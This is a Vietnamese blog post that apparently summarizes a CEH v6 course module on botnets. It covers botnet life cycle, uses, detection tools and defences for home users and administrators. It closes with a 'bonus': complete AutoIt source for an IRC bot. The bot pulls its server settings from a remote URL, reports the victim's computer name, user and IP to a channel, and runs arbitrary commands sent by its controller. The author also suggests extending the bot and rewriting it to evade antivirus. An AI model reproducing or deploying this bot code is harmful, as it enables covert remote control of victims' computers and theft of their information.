Trao đổi với tôi

http://www.buidao.com

11/14/09

[CEH] CEH v6 Module 63 : Botnet




Nội Dung:
• Botnets.
• Botnet Life Cycle.
• Botnet Detection: Tool And Techniques.
• Ourmon Tool.
• Anomaly Detection.
• IRC Protocol.
• Optimizing The System.
• Responding to botnets.


Lần đầu dịch chưa có kinh nghiệm mong mọi người góp ý .
Mình sẽ lấy những ý chính thôi và them thắt một số thứ hehe. (chứ dịch hết ngán lắm).
Bonus: 1 con Botnet bằng Autoit.

BOTNETS.

- Sau đây là một số kiến thức cơ bản về botnet: (trong module viết khó hiểu quá (hay tại mình gà huhu (chắc vậy))).
– Botnet là gì : là những chương trình tương tự Trojan backdoor cho phép kẻ tấn công sử dụng máy của họ như là những Zoombie ( máy tính thây ma – máy tính bị chiếm quyền điều khiển hoàn toàn ) và chúng chủ động kết nối với một Server để dễ dàng điều khiển , các bạn lưu ý chữ “chủ động” đó là một đặc điểm khác của bot so với trojan backdoor ( Chính vì sự chủ động này mà máy tính bị cài đặt chúng kết nối trở nên chậm chạp , một đặc điểm giúp ta dễ dàng nhận diện bot ).

Botnet là từ chỉ một tập hợp các rô bôt phần mềm hoặc các con bot hoạt động một cách tự chủ. Từ này còn được dùng để chỉ một mạng các máy tính sử dụng phần mềm tính toán phân tán.
Tuy từ "botnet" có thể dùng để chỉ một nhóm bot bất kỳ, chẳng hạn IRC bot, từ này thường được dùng để chỉ một tập hợp các máy tính đã bị tấn công và thỏa hiệp và đang chạy các chương trình độc hại, thường là sâu máy tính, trojan horse hay các cửa hậu, dưới cùng một hạ tầng cơ sở lệnh và điều khiển. Một chương trình chỉ huy botnet (botnet's originator hay bot herder) có thể điều khiển cả nhóm bot từ xa, thường là qua một phương tiện chẳng hạn như IRC, và thường là nhằm các mục đích bất chính. Mỗi con bot thường chạy ẩn và tuân theo chuẩn RFC 1459 (IRC). Thông thường, kẻ tạo botnet trước đó đã thỏa hiệp một loạt hệ thống bằng nhiều công cụ đa dạng (tràn bộ nhớ đệm, ...). Các bot mới hơn có thể tự động quét môi trường của chúng và tự lan truyền bản thân bằng cách sử dụng các lỗ hổng an ninh và mật khẩu yếu. Nếu một con bot có thể quét và tự lan truyền qua càng nhiều lỗ hổng an ninh, thì nó càng trở nên giá trị đối với một cộng đồng điều khiển botnet.
Các botnet đã trở nên một phần quan trọng của Internet, tuy chúng ngày càng ẩn kĩ. Do đa số các mạng IRC truyền thống thực hiện các biện pháp cấm truy nhập đối với các botnet đã từng ngụ tại đó, những người điều khiển botnet phải tự tìm các server cho mình. Một botnet thường bao gồm nhiều kết nối, chẳng hạn quay số, ADSL và cáp, và nhiều loại mạng máy tính, chẳng hạn mạng giáo dục, công ty, chính phủ và thậm chí quân sự. Đôi khi, một người điều khiển giấu một cài đặt IRC server trên một site công ty hoặc giáo dục, nơi các đường kết nối tốc độ cao có thể hỗ trợ một số lớn các bot khác. Chỉ đến gần đây, phương pháp sử dụng bot để chỉ huy các bot khác mới phát triển mạnh, do đa số hacker không chuyên (script kiddie) không đủ kiến thức để sử dụng phương pháp này.
Một xu hướng rất nguy hiểm trong thời gian gần đây là kẻ tấn công sử dụng botnet gồm hàng ngàn máy tính ma (máy tính đã bị khống chế hay còn gọi là zombie) để tấn công từ trối dịch vụ, nhằm vào các hệ thống của doanh nghiệp, tổ chức, chính phủ. Để tạo ra đội quân zombie hùng hậu này, chúng sử dụng virus, spyware hay các trojan lây nhiễm qua Internet, khi máy tính bị nhiểm máy tính đó sẽ bị kiểm soát một cách bí mật, từ xa bởi các Trojan. Có rất nhiều phương pháp điều khiển và quản lý zombie từ xa. Trong khuôn khổ bài viết này tôi chỉ đề cập đến việc điều khiển và quản lý bằng Trojan thong quan các kênh riêng Internet Relay Chat (IRC).



BOTNET LIFE CYCLE






Các máy tính nhiễm botnet sẽ trở thành botclient
Các botclient sẽ lập thành một mạng lưới
Mạng botnet là một mạng rất lớn gồm hàng trăm hàng ngàn botclient kết nối với C&C server/peer (một máy chủ mIRC ( Internet Replay Chat ) hoặc qua các máy chủ DNS,… )để nhận lệnh từ hacker một cách nhanh nhất
Botclient nhận lệnh và thông báo lại cho C&C server….


QUÁ TRÌNH LÂY NHIỄM VÀ ĐIỀU KHIỂN BOT:
Phần này sẽ trình bày cách thức kẻ tấn công sử dụng bot, tùy biến bot cho phù hợp với mục đích sử dụng; cách thức kiểm soát máy bạn nhân, quá trình lây nhiễm và điều khiển bot, cách tấn công sử dụng zombie …

Lập trình và thay đổi mã nguồn: quá trình này tùy thuộc vào khảnăng của kẻ tấn công. Bot do kẻ đó viết hay tận dụng lại của người khác và chỉnh sửa cho phù hợp với mục đích sử dụng. Các thông tin tùy chỉnh trên các bot hoặc các bot cập nhật là IRC server, cổng IRC TCP, tên của kênh, mật khẩu hoặc mã chứng thực.
Thêm nữa, tùy thuộc vào mục đích sử dụng, kẻ tấn công có thể thay đổi vị chí, tên file đặt trên máy tính đã bị lây nhiễm. Ở mức cao hơn nữa kẻ tấn công có thể sử dụng các kênh IRC động hay sử dụng nhiều kênh IRC. Để làm như vậy kẻ tấn công có thể sự dụng các dịch vụ tên miền động như dyndns.com hay no-ip.com để ánh xạ tên server của IRC với IP máy chủ của nó.



Hình trên mô tả một bot được lây nhiễm như thế nào? Quá nhân bản qua một lượng lớn các máy khác để tạo nên mạng các bot hay mạng các zombie.

The attacker, attempts to infect the victim machines with bots through either exploiting some operating system/application vulnerability or trick the user into executing a malicious program leading to bots installation.
Kẻ tấn công sẽ có gắng kiểm soát và lây nhiễm phần mềm nguy hiểm lên máy nạn nhân thông qua các lỗ hổng của ứng dụng, hệ điều hành hay bằng một cách thức nào đó lừa người sử dụng chạy chương trình kich hoạt bot. Ví dụ : một số trang cung cấp các bản bẻ khóa phần mềm, các trang cho download miễn phí,… đi kèm với chúng là virus, phần mềm gián điệp,… Người sử dụng máy tính thiếu hiểu biết sẽ dễ dàng bị mắc lừa và kích hoạt bot.
(1) Cách cơ bản là kẻ tấn công làm lây nhiễm hàng hoạt và tự động một số lượng lớn các máy tính dựa trên mã khai thác lỗ hổng mà các máy này mắc phải. Sau đó kẻ tấn công có thể kiểm soát các máy này, cài phần mềm backdoor (của hậu) lên chúng và có thể dùng chúng là nguồn phát tán và lây nhiễm mã độc. Việc rà quét tự động và khai thác lỗ hổng có thể do phần mềm dạng sâu máy tính (worm) đảm nhiệm. Một cách khác là kẻ tấn công sử dụng các trang web, đặc biệt là các trang web lớn và uy tín mà chúng kiểm soát được, chúng sẽ chèn mã độc vào đó, người dùng thông thường đã có sự tin tưởng đối với những site này và dễ dàng chấp nhận việc download về máy tính khi có của sổ download hiện lên. Bản than chính phần mềm IRC cũng có thể đã bị chèn mã độc và và người dùng cài đặt cùng với IRC mà không hề hay biết.
Sauk khi cài đặt thành công trên máy nạn nhân, bot sẽ copy thành nhiều bản trên máy tính nạn nhân, cập nhật thông tin registry (trên windows).
Ở bước (2) bot sẽ thực hiện kết nối tới IRC server với nickname ngẫu nhiên, sử dụng khóa bí mật để kết nối vào kênh riêng mà kẻ tấn công đã thiết lập trước đó.

Nhiều khi kẻ tấn công có thể sử dụng các server IRC công cộng cho các hoạt động tấn công này, tất nhiên khi bị phát hiện thì người quản trị hệ thống này sẽ loại bỏ kênh đó và kẻ tấn công cũng sẽ mất đi đội quan zombie kết nối vào đó. Do đó để tranh việc này kẻ tấn công thường sử dụng các dịch vụ như dyndns.com, no -ip.com để ánh xạ động các bot đến nhiều server IRC (ở bước (3)).
Ở bước (4), bot đã hoàn tất việc cài đặt và kết nối, sẵn sàng chờ lệnh phát động từ người sở hưu nó (bước (5)).
Bước (6), kẻ tấn công truy nhập kênh kiểm soát duy trì và điều khiển các bot. Thông thường mật khẩu để điều khiển hệ thống bí mật này sẽ được mã hóa và có cơ chế bị botnet khó bị một kẻ khác chiếm đoạt mất quyền điều khiển.
Bước (7), kẻ tấn công điều khiển các zombie trực tiếp hoặc từ xa và phát lệnh tấn công mục tiêu. Tấn công phổ biến là tấn công từ chối dịch vụ (như minh họa trên), gửi thư rác, đánh cắp thông tin cá nhân,… Kẻ tấn công cố gắng tạo ra việc truy nhập mục tiêu từ các zombie càng giống thật càng tốt. Tấn công DDoS kiểu này, yêu cầu gửi đến mục tiêu xuất phát từ tất cả cá zombie với các IP khác nhau khiến việc xác định kẻ tấn công vô cùng khó khăn.





USES OF BOTNETS
Botnets dùng làm gì?
- Lấy passwords, tìm kiếm lỗ hỗng hệ thống.
- Tổ chức một cuộc tấn công DDoS qua một mạng lưới gồm hàng ngàn botclients (quá lý tưởng).
- Lấy cắp các thông tin tài chính , cá nhân .
- Gửi thư rác, spam…
- Cài đặt các Adware mà không được sự cho phép của user.
- Đánh cắp các phần mềm, games, music, movie, các sản phẩm trí tuệ của nạn nhân , …
(Còn nhiều thứ nữa)


NHẬN DẠNG BOTNET
• Máy tính chạy chậm hơn bình thường.
• Đèn hoạt động trên DSL modem hay NIC card nhấp nháy liên tục (chắc đang nhận/gửi tin đây).
• Chương trình anti virus tự tắt (Nếu nó chạy thì có thể phát hiện ra các mã độ hại).
• Chạy TCPview kiểm tra các kết nối và các processes đi chung với chúng.
• Chạy Process explorer kiểm tra các process nào chạy không bình thường.
• .Kiểm tra event log , xem có kết nối nào đến máy khác ngoài phạm vi local computer.

---------- Post added at 04:44 PM ---------- Previous post was at 04:39 PM ----------

COMMON BOTNETS
SDbot
Rbbot
Agobot
Spybot
Mytob


BOTNET DETECTION: TOOLS AND TECHNIQUES




Một số tools:
CWSandbox: 1 tool cho windows có chức năng kiểm tra, ngăn chặn các tiến trình, mã độc đang chạy trong windows.
Sandboxes.
Ourmon.
AAS(automated Analysis Suite): tool diệt malware.
Sniffing IRC messagers.





PHÒNG CHỐNG BOTNET:

Đối với người dùng thông thường (Dạng Home user)
Phòng ngừa :
- Tuân thủ các chính sách bảo mật
- Cập nhật các bản vá các phần mềm trên máy
- Tham khảo thông tin cập nhật tại cert.org phần “Home Network Security” http://www.cert.org/tech_tips/home_networks.html đây là những nội dung rất căn bản và hữu ích..
- Bật chế độ tự động cập nhật đối với hệ điều hành và phần mềm ứng dụng [theo CERT, 2001]
- Thao tác an toàn khi truy nhập mail, web, chat,… như không lưu mật khẩu..
- Sử dụng và cập nhật thường xuyên phần mềm diệt virus phổ biến.
- Sử dụng tường lửa và thiết lập các chế độ hợp lý.

Phát hiện :
- Cổng mặc định của IRC là 6667, cổng này có thể bị thay đổi. Dùng lệnh netstat –an trên cả Windows và Linux để kiểm tra các cổng ra vào mà máy tính đang sử dụng.
Ví dụ :
C:/windows> netstat – an
TCP your.mac hine.ip remote.irc.server.ip :6667 ESTABLISHED
Các server IRC có thể lắng nghe trên các cổng 6000-7000.
Đây cũng là cách để phát hiện các phần mềm gián điệp khác.
- Giám sát băng thông, gói tin trên mạng, các cổng kết nối. Có thể có một vài dấu hiệu như mạng chậm, tỉ lệ gói tin gửi đi và nhận được khác thường,…
- Phần mềm chống virus và phần mềm gián điệp có thể phát hiện ra chúng.
- Trong một số trường hợp có thể dùng các chương trình quét trực tuyến của các hang bảo mật lớn. [theo SYMANTEC]

Xử lý:

- Ngắt kết nối mạng của máy bị nhiễm mã độc, để tránh nguy cơ ảnh hưởng đến các máy cùng mạng.
- Cập nhật phần mềm diệt virus, kiểm tra xem nhà cung cấp hệ điều hành, phần mềm có bản vá hay không ?
- Nếu các chương trình diệt virus không phát hiện ra có thể dùng các công cụ hiển thị các tiến trình của máy tính để phát hiện và diệt bằng tay.
- Nếu trên máy có chứa các thông tin nhay cảm như tài khoản ngân hàng thì cần báo ngay cho nơi quản lý thẻ để tạm ngưng sử dụng hoặc nếu là mật khẩu thì cần đổi lại ngay.
- Nếu không xử lý được thì cần nhờ người có kỹ thuật xử lý.

Đối với quản trị hệ thống
Phòng chống:
- Áp dụng các chính sách bảo mật thông dụng.
- Theo hướng dẫn của nhà cung cấp hệ điều hành, phần mềm ứng dụng nâng cấp và cập nhật bản vá.
- Theo dõi thông tin về các lỗ hổng bảo mật trên các trang bảo mật uy tín, nhận thông tin bảo mật từ các mailing list bugtraq.
- Bật chế độ tự động cập nhật đối với hệ điều hành và phần mềm ứng dụng.
- Thao tác an toàn khi truy nhập mail, web, chat,… như không lưu mật khẩu.
- Sử dụng và cập nhật thường xuyên phần mềm diệt virus phổ biến.
- Sử dụng tường lửa và thiết lập các chế độ hợp lý.
- Cài đặt các phần mềm để giám sát hệ thống, phân tích log file hoạt động và truy nhập của hệ thống.
Phát hiện
- Sử dụng các kỹ thật như đối với người dùng thông thường.
- Thường xuyên giám sát log của hệ thống sử dụng, log của hệ thống giám sát, có cơ chế cảnh báo tự động cho người quản trị như gửi mail,…
- Giám sát mạng, dùng tường lửa chặn các cổng không cần thiết. một tiện ích nhỏ cho phép xem các cổng đóng mở ngoài netstat là fport của McAfee:
http://www.foundstone.com/knowledge/proddesc/fport.html
- Phân tích log của phần mềm bắt gói tin có thể phát hiện ra server và kênh bí mật của kẻ tấn công sử dụng, biết được mật khẩu kết nối IRC mã hóa hay không mã hóa.
- Tiến hành quét toàn bộ các máy tình nghi có chứa mã độc, rà soát, tìm và dỡ bỏ backdoor, rootkit.
Xử lý :
- Sử dụng các kỹ thật như đối với người dùng thông thường.
- Cô lập các máy bị nhiễm sang một phân mạng riêng biệt.
- Lưu trữ và giữ an toàn dữ liệu, logs file của Firewalls, Máy chủ Mail , IDS, DHCP, proxy...
- Xử dụng phần mền bắt gói tin để phân tichs cách thức hoạt động của bot, phát hiện các máy bị lây nhiễm, nguồn gốc của nơi phát lệnh,…
- Liên hệ các trung tâm xử lý sự cố máy tính, các trung tâm an ninh mạng để cùng phối hợp giải quyết.


SUMMARY:

Sử dụng mạng IRC để điều khiển zombie vẫn là một xu hướng lớn trong việc phát hiển DDoS bằng IRC botbet nguy hiểm hơn DoS truyền thống rất nhiều.
Số lượng botnet ngày tăng, đồng thời với nó số nút (zombie) của botnet cũng tăng lên. Các botnet ngày càng tinh vi hơn. Các công cụ phát tán cũng tinh vi và nguy hiểm hơn. Đặc biệt là các công cụ được phát triển cho phép tự động phát hiện lỗ hổng và lây nhiễm mã độc.
Mục đích chính của botnet vẫn là DDoS, Spam mail, lấy chộm thông tin cá nhân, làm hệ thống chia sẻ file, phần mềm,…
Sandboxes bảo vệ hệ thống khỏi các mã, phần mềm độc hại.



BONUS:
Một số bot cơ bản
GTbot
Các thông tin thêm về GTbot có thể tham khảo tại http://swatit.org/bots/gtbot.html :
- sử dụng các chương trình mIRC hợp lệ
- dễ dàng viết lại hay chỉnh sửa các nội dung điều khiển
Tên gọi khác: W32.IRCBot,
Cổng (Ports): tự cấu hình
Sử dụng: Truy nhập từ xa / IRC trojan
Registers: HKEY_LOCAL_MACHINE \SOFTWARE \Microsoft \Windows \CurrentVersion\ Run\
Hệ điều hành chịu tác động: Wi ndows 95, 98, ME, NT, 2000, XP.

EvilBot v1.0
Nguồn : http://www.megasecurity.org/trojans/...Evilbot_a.html

Kích thước file nén: 15.904 bytes
Cổng (Ports): mặc định 6667 (có thể thay đổi)
Mục đích sử dụng: Truy nhập từ xa / IRC trojan / Công cụ tấn công DDoS / tải trojan về máy nạn nhân
Registers: HKEY_LOCAL_MACHINE \Software\Microsoft \Windows \CurrentVersion\ Run\ Hệ điều hành chịu tác động: Windows 95, 98, ME, NT, 2000 , XP.
Thông tin thêm:
http://securityresponse.symantec.com...r.evilbot.html

Slackbot
Tên gọi khác : Backdoor.Slackbot, DDOS/Slack, Troj/Slack, Slack,
Cổng (Ports): 6667 (có thể thay đổi)
Files: Slackbot.zip - Slackbot1_0.zip - Zwbv.exe - Sbconfig.exe -
Mục đích sử dụng: Truy nhập từ xa / IRC trojan / Công cụ tấn công DDoS / tải trojan về máy nạn nhân
Registers: HKEY_LOCAL_MACHINE \Software\Microsoft \Windows \CurrentVersion\ Run\ Hệ điều hành chịu tác động: tất cả các phiên bản của hệ điều hành windows cùng với các phần mềm IRC.


Bonet đơn giản viết bằng Autoit (các bạn có thể phát triển cho nó mạnh hơn hehe viết bằng VB đỡ bị các ct anti virus diệt) :

#NoTrayIcon
#include
#include
#include
#include
Global $version = "1"; Cai dat version cho bot
; Nhung thong tin can thiet de bot ket noi toi irc server
InetGet("http://vhc.vn/VHC/Info.php", @WindowsDir&"\server.txt", 1, 0)
Sleep(1000)
$file = FileOpen(@WindowsDir&"\server.txt", 0)
$information = StringSplit(FileRead($file), " ")
FileClose($file)
InetGet("http://cmyip.com/", @WindowsDir&"\ip.txt", 1, 0)
$file2 = FileOpen(@WindowsDir&"\ip.txt", 0)
$get_ip = FileRead($file2)
FileClose($file2)
Global $ip = _checkIP ($get_ip)
Global $server = StringTrimLeft($information[2],7)
Global $port = StringTrimLeft($information[3],5)
Global $nick = "VHC-"&Chr(Random(65,90,1))&Chr(Random(65,90,1))&Chr(Ra ndom(65,90,1))&Chr(Random(65,90,1))&Chr(Random(65, 90,1))&Chr(Random(65,90,1))&Chr(Random(65,90,1))&C hr(Random(65,90,1))
Global $channel = StringTrimLeft($information[4],8)
Global $new_version = StringTrimLeft($information[5],8)
Global $command

TCPStartup ()
Global $sock = _IRCConnect($server, $port, $nick); Ket noi toi IRC va` nhap nick cua bot

While 1
Local $run
local $strtmp
$recv = TCPRecv($sock, 8192); Nhung thong tin nhan duoc tu server IRC
If @error Then $sock = _IRCConnect($server, $port, $nick) ; Neu khong ket noi dc toi server thi server do die roi.
Local $sData = StringSplit($recv, @CRLF); Phan chia tin nhan nhan dc tu server, doi khi server nhom chung lai
For $i = 1 To $sData[0] Step 1; Lam cho tin nhan ngan cach ra
Local $sTemp = StringSplit($sData[$i], " "); Phan chia tin nhan thong qua dau cach
If $sTemp[1] = "" Then ContinueLoop; Neu la rong thi tiep tuc
If $sTemp[1] = "PING" Then TCPSend($sock, "PONG " & $sTemp[2] & @CRLF); Checks for PING replys (There smaller then usual messages so its special!
If $sTemp[0] <= 2 Then ContinueLoop; Useless messages for the most part Switch $sTemp[2]; Splits the command msg Case "PRIVMSG" $user = StringMid($sTemp[1], 2, StringInStr($sTemp[1], "!")-2) $3 = StringMid($sData[$i], StringInStr($sData[$i], ":", 0, 2)+1) $msg = StringSplit($3, " ") Switch $3 Case "Help" _IRCSendMessage($sock, "Dear Master, I will help you remember some command! ^_^", $channel) _IRCSendMessage($sock, "Ready?", $channel) _IRCSendMessage($sock, "ProcessList", $channel) _IRCSendMessage($sock, "Info", $channel) _IRCSendMessage($sock, "Quit", $channel) _IRCSendMessage($sock, "Run [ten ctr]", $channel) Case "Ready?" _IRCSendMessage($sock, "I'm ready! Master AvyErn! ^_^", $channel) Case $msg[1] = "Chat" MsgBox(0, "Message", StringTrimLeft($3, 4), 10) _IRCSendMessage($sock, "OK! -Msg-", $channel) Case "Info" _IRCSendMessage($sock, "Computer Name: "&@ComputerName&" - OS: "&@OSVersion&"/"&@OSServicePack&" - User: "&@UserName&" - IP: "&$ip, $channel) Case "Quit" TCPCloseSocket($sock) Sleep(1000) $sock = _IRCConnect($server, $port, $nick) Case Else $command=Param($3,"Run ",$strtmp) If $command <>"" Then
$run=Run($command,@SystemDir,@SW_SHOWDEFAULT)
If @error Then
_IRCSendMessage($sock, "Command Error! ^_^", $channel)
Else
_IRCSendMessage($sock, "Done!", $channel)
EndIf
EndIf
EndSwitch
Case "266"; It is what I use as an indictator to show when its done sending you info.
_IRCJoinChannel ($sock, $channel)
_IRCChangeMode ($sock, "+i", $nick)
EndSwitch

Next
WEnd
Func Param($str,$strfind,$param)
Local $pos
$pos=StringInStr($str,$strfind)
If $pos =1 Then $param=StringMid($str,StringLen($strfind)+1,(Strin glen($str)-Stringlen($strfind)))
Return $param
EndFunc
Func _checkIP ($temp)
$array_IP = _StringBetween ($temp, "My IP is ", " - ")
Return $array_IP[0]
EndFunc






END.(xong khỏe quá)

Link: http://uitstudent.com/ceh/9262-ceh-v6-module-63-botnet.html